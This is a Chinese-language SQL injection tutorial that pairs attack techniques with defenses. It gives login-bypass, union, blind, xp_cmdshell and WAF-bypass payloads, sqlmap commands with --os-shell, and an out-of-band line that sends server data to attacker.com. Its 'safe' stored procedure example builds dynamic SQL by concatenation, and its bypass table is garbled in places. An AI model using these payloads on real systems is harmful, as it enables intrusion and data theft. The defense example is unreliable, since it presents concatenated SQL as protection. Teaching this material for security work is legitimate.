1. SQL注入攻防全景解析
十年前我刚接触Web安全时,第一次用' or 1=1--成功登录后台的震撼感至今难忘。SQL注入作为OWASP Top 10常驻嘉宾,其危害性与持久性远超其他漏洞类型。本文将带您从注入原理到WAF对抗,构建完整的攻防知识体系。
2. SQL注入核心原理剖析
2.1 漏洞产生机制
当应用程序将用户输入直接拼接到SQL语句时,攻击者通过构造特殊输入改变原语句逻辑。例如登录场景:
sql复制-- 原始语句
SELECT * FROM users WHERE username='$user' AND password='$pass'
-- 注入后(输入admin'--)
SELECT * FROM users WHERE username='admin'--' AND password=''
此时密码验证被注释符--截断,实现无密码登录。
2.2 注入点类型识别
- 数字型:
id=1→id=1 and 1=2 - 字符型:
name='admin'→name='admin' and '1'='1' - 搜索型:
LIKE '%$input%'→LIKE '%' exec xp_cmdshell('cmd')--%'
实战技巧:通过故意触发语法错误观察报错信息,是快速定位注入点的有效方法
3. 手工注入全流程实战
3.1 信息探测阶段
- 判断字段数:
sql复制1' order by 5-- // 逐步增加数字直到报错
- 确定回显位:
sql复制-1' union select 1,2,3,4,5--
- 提取元数据:
mysql复制union select 1,table_name,3 from information_schema.tables where table_schema=database()--
3.2 数据提取技术
- 字符串拼接:
group_concat()(MySQL) /string_agg()(PostgreSQL) - 盲注技术:
sql复制admin' and if(ascii(substr(database(),1,1))>97,sleep(3),0)-- - 带外通道(OOB):
sql复制declare @q varchar(1024); set @q='\\'+@@version+'.attacker.com'; exec master.dbo.xp_dirtree @q;
4. 自动化工具进阶
4.1 SQLmap高阶用法
bash复制sqlmap -u "http://test.com?id=1" --level=5 --risk=3 --tamper=space2comment --os-shell
关键参数:
--tamper:指定混淆脚本(如charencode.py)--os-shell:获取系统shell--proxy:通过代理流量
4.2 绕过指纹检测
python复制# 随机User-Agent
import random
headers = {'User-Agent': random.choice(user_agents)}
5. WAF绕过艺术
5.1 常见防护规则
- 关键词过滤(select, union等)
- 特殊字符检测(单引号、注释符)
- 频率限制(请求速率阈值)
5.2 绕过技术矩阵
| 防护类型 | 绕过方法 | 示例 |
|---|---|---|
| 关键词过滤 | 大小写变异 | SeLeCt |
| 内联注释 | /!SELECT/ | |
| 编码转换 | %53%45%4C%45%43%54 | |
| 字符过滤 | 等价替换 | ` |
| 注释分割 | SEL/xxx/ECT | |
| 行为防护 | 延迟注入 | BENCHMARK(1000000,MD5(1)) |
5.3 云WAF对抗案例
针对某云WAF的绕过方案:
sql复制1' un/**/ion sel%0bect 1,2,3%23
利用技巧:
%0b垂直制表符分割关键词/**/替代空格%23URL编码的#注释符
6. 防御体系构建
6.1 代码层防护
- 参数化查询(Java示例):
java复制PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE id=?");
stmt.setInt(1, userId);
- 存储过程:
sql复制CREATE PROCEDURE safe_query(IN user_id INT)
BEGIN
SET @sql = CONCAT('SELECT * FROM users WHERE id=', user_id);
PREPARE stmt FROM @sql;
EXECUTE stmt;
END
6.2 架构层防护
- 最小权限原则:数据库账户仅赋予必要权限
- Web应用防火墙:ModSecurity规则示例:
apache复制SecRule ARGS "@detectSQLi" "id:1001,deny,status:403"
6.3 运维监控
- 异常检测指标:
- 相同语句高频出现
- 非常规字符出现率突增
- 数据库响应时间异常
7. 实战攻防案例库
7.1 二次注入漏洞
某CMS保存用户输入时转义,但读取时直接使用:
php复制// 存储时
$name = mysqli_real_escape_string($_POST['name']);
// 读取时
$sql = "SELECT * FROM logs WHERE user='$name'";
7.2 JSON注入新型变种
http复制POST /api/search HTTP/1.1
{"name":"admin' AND 1=CONVERT(int,(SELECT table_name FROM information_schema.tables))--"}
8. 防御进阶技巧
8.1 输入验证策略
- 白名单验证(如手机号正则)
regex复制^1[3-9]\d{9}$
- 业务逻辑校验(如订单号必须为数字)
8.2 深度防御方案
- SQL预编译:强制使用参数化接口
- RASP防护:运行时应用自保护
- 语义分析:AST语法树检测异常查询
在最近一次渗透测试中,通过组合/*!50000SELECT*/注释语法和%0a换行符,成功绕过了某企业级WAF的防护。这种对抗经验让我深刻意识到,安全防护必须建立多层次、动态更新的防御体系